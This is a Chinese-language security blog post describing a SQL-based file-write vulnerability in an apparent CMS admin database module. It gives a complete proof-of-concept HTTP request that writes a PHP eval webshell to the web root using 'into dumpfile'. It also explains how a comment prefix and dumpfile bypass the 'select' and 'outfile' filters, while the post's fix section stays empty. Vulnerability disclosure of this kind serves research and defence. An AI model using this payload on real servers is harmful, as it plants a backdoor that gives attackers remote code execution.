侵权声明
本文章中的所有内容（包括但不限于文字、图像和其他媒体）仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料，我们满怀敬意地承认该内容的版权归原作者所有。
如果您是版权持有人，并且认为您的作品被侵犯，请通过以下方式与我们联系： [[email protected]]。我们将在确认后的合理时间内采取适当措施，包括删除相关内容。
描述
后台数据库模块的执行sql语句的输入框可以在绕过的情况下进制一句话文件的写入。从而达到文件上传的目的。存在问题的目录如下：application\admin\controller\Database.php
版本
POC
POST /admin.php/admin/database/sql.html HTTP/1.1
Host: host
Content-Length: 162
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; xinhu_mo_adminid=yy0nm0mjj0mjn0vy0mmj0vk0mmn0mjm0iq0mjz0mjz0iv0vi0iu0nv07; xinhu_ca_adminuser=rock; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1723172185; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=3a2cdfed8edffe57; DedeLoginTime=1723190565; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=9f6e455551874f96; PHPSESSID=2c0harmim0vftioojbj8nqvibs
Connection: keep-alive
__token__=6ffe6f2213f3ab54515b904dff3d2923&sql=%2F**%2Fselect+'%3C%3Fphp+%40eval(%24_POST%5B1%5D)%3B'+into+dumpfile+'C%3A%2Fphpstudy_pro%2FWWW%2Fmaccms10%2F1.php'
分析
通过poc可知文件位置
前面主要是验证token是否有效，然后就将param数组中的sql语句直接赋值给参数sql。
看到第一个红框位置
strtolower(substr($sql,0,6))=="select"这一句是判断sql语句前六个字符先全部变为小写后判断是否为"select"字符串，这里可以在前加/**/注释符等其他绕过方法进行绕过。
stripos($sql, ' outfile') !== false这一句是判断sql语句中是否存在"outfile"关键字。这里可以用另一个文件写入函数dumpfile绕过。
红框二就是sql语句的执行，但是没有返回值，所以用报错和联合都是没有结果的只能用时间盲注。
当然sql语句文件上传是有要求的需要先关闭secure-file-priv
复现
修复
总结
做了简单的防护但是可以轻松绕过。最重要的是文件写入有两个函数：outfile、dumpfile
免责声明
本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践，促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。
使用本博客内容而导致的任何违法行为或后果，作者不承担任何法律责任。所有读者在使用本博客的信息时，应自行承担风险，并确保遵守当地法律法规。
我们鼓励所有读者合法地使用所提供的信息和技术，致力于维护安全和负责任的网络环境。
感谢您的理解与支持。
标签：语句,文件,CNVD,outfile,2020,sql,绕过,xinhu From： https://www.cnblogs.com/0kooo-yz/p/18351903